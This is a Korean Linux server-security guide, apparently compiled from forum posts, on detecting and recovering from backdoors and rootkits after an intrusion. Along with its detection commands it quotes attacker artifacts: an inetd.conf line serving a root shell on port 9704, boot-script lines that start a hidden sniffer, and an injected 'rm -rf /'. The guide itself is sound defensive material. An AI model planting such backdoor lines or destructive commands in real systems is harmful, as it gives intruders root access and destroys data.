[보안] 서버 보안 관리 ( 백도어 찾아내기 )
백도어 수습하기
이 글은 나우누리 리눅스 보안 문답란의 내용들을 제가 고른 겁니다. 소
잃고 외양간 고치는 거지만 잘 보시고 크래커의 흔적을 찾아보는 것도 적
어져 있습니다. 글 쓴 분의 이름은 중간 중간에 나올 겁니다.
저작권은 글 쓴 분들에게 있습니다.
lawwal(임대호)
먼저 언급드리고 싶은 말씀은 “백도어는 정형화되어 있지 않다.”는 것입니
다.
예컨대 /etc/rc.d/rc.local, /etc/inetd.conf 등의 파일에 뭐가 심어져 있
다든지 /etc/passwd에 사용자가 추가되어 있다든지…
백도어는 우리가 미처 알지 못하는 다양한 방법으로 존재할 수 있습니다.
1차적인 권고
서버 운영자가 침입자가 있음을 감지했더라도 그 사실을 침입자가 눈치채
지 못하도록 처신해야 합니다.
노련한 사람이라면 자신의 자취만을 감추는데 필요한 로그파일들만을 지우
고 사라지겠지만 자칫하면 시스템을 뽀작낼 수도 있기 때문입니다.
2차적인 권고
이쁘든 밉든 백도어(들)을 찾습니다. 보통 하나의 백도어를 찾으면 끝인줄
로 여기지만 제가 사태를 수습했던 몇몇 서버의 경우 최소 2가지에서 4가
지 형태의 백도어가 존재하더군요. 당연한 말씀이지만 찾아서 모조리 막습
니다.
제가 백도어를 찾는 방법중 일부를 소개합니다.
(이 자료는 예전에 뉴스그룹에 투고했던 글입니다.)
1.
# find /dev -type f
위와 같은 명령으로 쓸데없는 파일들(-_-)이 존재하는지 확인합니다. 보
통 /dev/MAKEDEV 등과 같이 device 를 관리하고자 하는 파일 이외의 것이
검색되면 일단 의심해봐야 합니다. 그리고 습성상 디렉토리명칭을 공백 한
바이트(” “)나 “…” 등과 같이 dot 3개 정도로 생성하여 쉽게 눈에 띄지
않게 하기도 하므로 이런 형태의 파일이나 디렉토리도 찾아보시기 바랍니
다.
2.
# grep -v “^#” /etc/inetd.conf
위와 같은 명령으로 불필요한(또는 크래커가 추가한) 서버에 관한 설정이
추가되어 있는지 확인합니다.
3.
# netstat -an | grep LISTEN
위와 같은 명령으로 서버에 열린 포트를 확인하여 의심가는 포트가 있다
면 포트를 물고 있는 데몬을 찾아 봅니다.
4.
/etc/passwd 파일을 열어서 최근에 추가된 사용자나 얍샵하게 기존 사용자
정보 사이에 숨겨둔 크래커의 일반계정이 존재하는지 확인합니다.
5.
시스템의 부트스크립트(/etc 경로 하단)에 백도어를 실행하는 등의 악성코
드가 존재하는지 확인합니다.
6.
필요할 경우 다음과 같이 find 명령의 시간옵션을 주어 최근에 변경된 파
일들을 찾아볼 수도 있겠습니다만, 크래커가 파일 수정일자까지도 변조했
다면 별로 유익한 방법이 되지 못할 수도 있습니다.
# find / -ctime -30 -type f
7.
포트를 이용한 백도어 뿐만 아니라 루트쉘을 얻도록 구성된 백도어가 구성
되어 있을 수 있으므로 시스템 내의 Set User ID(SUID) 파일들을 죄다 훑
어봐서 악성코드나 악성쉘이 아닌지 확인합니다.
3차적인 권고
침입자가 슈퍼유저 권한을 획득했었다면 시스템을 재설치하는 것이 필수라
고 감히 말씀드리고 싶습니다.
아시듯이 유닉스 계열에서 슈퍼유저 권한은 절대적인 지위에 있습니다. 소
프트웨어적인 어떠한 작업이라도 가능하다는 이야기 입니다.
고생끝에 보안구멍을 모두 막았노라고 장담하실 수도 있겠지만, /etc 디렉
토리 밑에 위치한 파일이나 경로중 어느 하나라도 일반 사용자에게 쓰기권
한이 부여되어 있을 경우 재수없으면 또 다시 악몽이 시작될 수 있습니
다. 침입자가 앙증맞게도 일반사용자로 로그인 하여 /etc/rc.d/rc.local
파일과 같이 슈퍼유저권한으로 자동으로 실행되는 스크립트파일
(/etc/sysconfig/network 등 대부분의 스크립트)에 rm -rf / 라는 줄을 삽
입하게되면 아좌주~ 재미있는 사태가 벌어지겠지요. 그만큼 슈퍼유저권한
을 한번쯤 잃은 서버라면 99%이상 신뢰할 수 없습니다. 파일의 무결성을
확인할 수 있는 tripwire 등을 사용하지 않던 서버라면 무조건 재설치하시
는게 좋습니다.
sciver(정성욱)
/usr/sbin/.bshell >>/dev/null &>/dev/null &
/usr/sbin/.sniff >>/dev/null &>/dev/null &
위의 .bshel 은 아마 외부에서 백도어로 들어올수 있게 하는 password 파
일을 출력 하는것 같습니다. 그리고 sniff는 netmask 안에 있는 모든 컴
퓨터의 네트웍 전송 데이터를 훔쳐보는 스니퍼링 프로그램입니다.
문제는 바로 스니퍼링 프로그램이죠. 말 그대로, 내부네트웍에 연결된 컴
퓨터의 모든 데이터를 훔쳐볼 수 있습니다.
둘다 눈에 잘 안띄게 하기 위하여 .파일 로 시작하였군요. 게다가 출력
도 /dev/null 이라는 변조된 파일에 하도록 되어 있고 말입니다. 해커는
단순히 bshell을 통해 알아둔 passwd를 이용하여 들어와 .sniff가 만들어
둔 데이터를 가져가는것만으로 그쪽 단체의 모든 데이터를 훔쳐볼수 있는
것입니다. 말 그대로, 치명적이죠… 제가 본 해킹 피해중에서 가장 최대
가 될것 같습니다…걱정…
해결책
0. 시스템을 전체 포맷하고 다시 인스톨하세요.
1. /etc/inetd.conf 에서 rlogin, rexec,
rsh, imap서비스 , nfinger, ntalk, gopher
를 모두 # 처리 하고 inet 재실행하세요.
2. redhat의 경우 http://www.redhat.com/support 에서 official errata
에 가서
security 에 관련된 (거의 모두) 것을 모두 받아 rpm upgrade 하세요.
특히 : bind, nfs, imap, syslog, ftp …
3. router 에서 telnet 패킷만큼은 외부에서 들어오는것을 차단하세요.
몇군데, 고나리용 백도어를 제외하고 말입니다. 관리용
4. 쓰고 계신 내부 네트웍 이용자 모두의 모든 인터넷 계정등등을
모조리 바꾸세요…
>> sniffering 때문입니다.
5. 최신 패키지로 계속 업그레이드 하세요.
lion2004(이혜원)
루트 킷이 깔려있을 경우에 대해서 이야기하고 잇습니다.
shadow passwd 가 풀리고, name daemon, ps ,top , inetd등 수많은 데몬
을 바꾸어 놓고요. 증상으로는 w , who 등 현재 사용자 현황을 전혀 보실
수 없고 top 명령을 쓰면 화면이 안나올 겁니다.
패스워드 화일을 잘 살펴 보세요. 최근에 만들어진 UID 가 높은 계정부
터 그러니까 tail -15 /etc/passwd 해보시면 될겁니다. 모르는 계정이
있거나 그러시면 계정 dir로 가보세요. 만약 계정에 lrk.tgz 화일이 있다
면 이미 해킹당하고, 중요한 데몬 대부분을 바꾸구 난 뒤 입니다.
들어 오는 방법은 FTP로 접속해서 ROOT권한을 획득해서 당당하게 계정을
만든후 lrk.tgz를 ftp로 업로드후 실행시킨후 사라집니다. 이걸 복구 할
려면, linux 를 다시 Install 시키셔야 합니다. 물론 lrk/install 을 보
면 무엇을 바f는지 알수 있으니까 그것만 구하셔서 다시까셔도 됩니
다. 개인용 컴퓨터에 서버에 깔린 것이랑 같은 버전의 Linux를 설치하시
고 프로그램들을 덮어 쓰셔도 되지만. install에 써 있는거 이외에 다른
것도 설치 했을수도 있지때문에 다시 설치하시는것이 좋습니다.
원래 한번 해킹당하면 /home과 /etc만 백업받고 나머지는 날려버리는게
가장 안정하죠. 파티션 다시 잡을 필요도 없고 포맷시킬필요도 없이, 그
냥 덮어 쓰면 되구요. 그전에 /etc 를 백업 받으셔서 /home 밑에 넣어
놓으시기 바랍니다. 그리고 다시 /etc에서 text로 된 설정화일 들만
Copy 하시면 됩니다. 절대 binary File 은 Copy 하시면 안됩니다. ( –
/etc에 binary가 있나? – )
주로 MCI.NET쪽으로 들어오는데, /etc/hosts.deny 화일을 이용해서 일단
MCI.NET쪽 C-CLASS IP 전부를 막아 놓으시구요. Anonymous FTP를 허용하
고 계시다면 막는 것을 심각하게 고려 하시기 바랍니
다. /etc/inetd.conf , /etc/services 화일에서, 요즘 쓰지도 않는 것
과 약간의 보안성에 의문이 가는 것들과 괜히 해커에게 정보만 주는 것
은 모조리 막으시기 바랍니다. gopher, rlogin, exec, talk, ntalk,
dtalk, imap (요즘 다 pop-3쓰죠?), tftp, bootps, finger, cfinger,
netstat, systat등입니다. 리눅스 사용중 알짜 red-hat 5.0을 까신 경우
라면 즉시 ftp.hpcnet.ne.kr로 접속하셔서
심각한 보안성 버그 발견된 bind전체랑 imap 등 왠만하면 다 받으셔서 설
치하시기 바랍니다. ( * rpm 설치법 : rpm -Uvh RPM.rpm ) 커널 버전이
2.0.32 라면 반드시 2.0.35로 업그레이드 하시기 바랍니다. 그리고 다시
깔지 않은 /home 디렉토리나 아니면 차라리 서버 전체에서 set uid준 프
로그램들을 체크하시기 바랍니다. 그리고 패스워드를 전부 바꾸시기 바랍
니다. 휴.. 이제 이정도면 어느 정도 방어는 됐군요.. 이제 서버 사용중
에 보안성관련 버그에 관한 글들에 관심을 기울이시고 바로 업데이트 하
시고 가장 중요한 것은 정기적으로 백업받는것입니다. 백업만 받아 두면
서버 날릴까봐 이러지도 저러지도 못하고 질질끌진 않죠. 좋은 통신하시
고, 어느 정도 도움이 되었으면 합니다.
island01(고현준)
다음은 /var/log/messages 파일의 일부를 가져온 것입니다..
참고로 저의 호스트이름은 jaguar 입니다..
의문이 가는 부분을 앞에 ** 해놓았습ㅈ니다.
Nov 6 21:43:35 jaguar rc.sysinit: Mounting local filesystems
succeeded
Nov 6 21:43:35 jaguar rc.sysinit: Turning on user and group quotas
for local f
ilesystems succeeded
Nov 6 12:43:37 jaguar date: Sat Nov 6 12:43:37 KST 1999
Nov 6 12:43:37 jaguar rc.sysinit: Setting clock : Sat Nov 6
12:43:37 KST 1999
succeeded
Nov 6 12:43:37 jaguar rc.sysinit: Enabling swap space succeeded
**Nov 6 12:43:49 jaguar adduser[98]: new group: name=jaja, gid=504
**Nov 6 12:44:54 jaguar PAM_pwdb[101]: password for (jaja/0)
changed by ((null
)/0)
**Nov 6 12:44:56 jaguar PAM_pwdb[102]: (su) session opened for user
jaja by (u
id=0)
**Nov 6 12:44:58 jaguar PAM_pwdb[102]: (su) session closed for user
jaja
Nov 6 12:44:58 jaguar init: Entering runlevel: 5
Nov 6 12:44:59 jaguar apmd[121]: Version 3.0beta4 (APM BIOS 1.2,
Linux d
river
1.9)
Nov 6 12:44:59 jaguar apmd: apmd startup succeeded
Nov 6 12:45:01 jaguar network: Bringing up interface lo succeeded
………………….
보면은 부팅과정이라는 거 알수있는데… rc.sysinit 에서 rc5d로 넘어가
는 중간에 jaja라는 id가 하나 생기네엽.. 이 컴은 울과 실습실에 있는 거
고 제가 리눅스깔아서 쓰고 있던 거였는데.. 누군가가 root를 목적으로 의
도적으로 리부팅해서 jaja를 만든 것이 아닌지 의문이 듭니다… 아..그리
고 실제로 passwd에 jaja라는 아뒤는 uid=0 gid=4로 등록되어있었습니다
라그품바(배재용)
etc/inetd.conf 에… 이런 글이..
마지막에..
auth stream tcp nowait nobody /usr/sbin/in.identd
in.identd -l -e -o
#
# End of inetd.conf
linuxconf stream tcp wait root /bin/linuxconf linuxconf –http
#swat stream tcp nowait.400 root /usr/sbin/swat swat
linuxconf stream tcp wait root /bin/linuxconf linuxconf –http
9704 stream tcp nowait root /bin/sh sh -i
~
이 경우 telnet x.x.x.x 9704 로 들어갈 경우에 root가 됩니다.
lawwal(임대호)
/var/log/messages에서
Apr 6 04:04:19 locust PAM_pwdb[1177]: (su) session opened for user
news by (uid=0)
위 부분은 이름없는(?) 슈퍼유저 권한(UID=0) 으로 su 명령을 내려
“news”라는 사용자로 변경했던 흔적입니다.
위의 로그중 by ???? (uid=0) 부분의 ???? 부분에 아무것도 들어 있지 않
은것은
백도어를 이용하여 접근해서 인증정보가 존재하기 않기 때문에 root 등으
로
적히지 않고 무명용사(!)가 작업한 것으로 로그에 기록된 것 같군요.